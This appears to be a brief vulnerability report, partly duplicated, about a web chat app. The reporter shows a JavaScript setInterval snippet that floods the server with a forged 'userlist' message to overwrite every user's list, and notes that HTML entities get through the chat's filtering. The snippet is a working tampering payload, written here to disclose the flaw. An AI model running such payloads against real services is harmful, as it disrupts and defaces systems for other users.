I was able to corrupt the user list for all users using the following script: ``` setInterval(function() {sendToServer({type:"userlist",users:["Hacked.","By helllo-smile6@github"]});,1); ``` Additionally, HTML entities can be used in the chat. HTML code is nullified. This may create additional, more secure vulnerabilities.
I was able to corrupt the user list for all users using the following script:
Additionally, HTML entities can be used in the chat. HTML code is nullified. This may create additional, more secure vulnerabilities.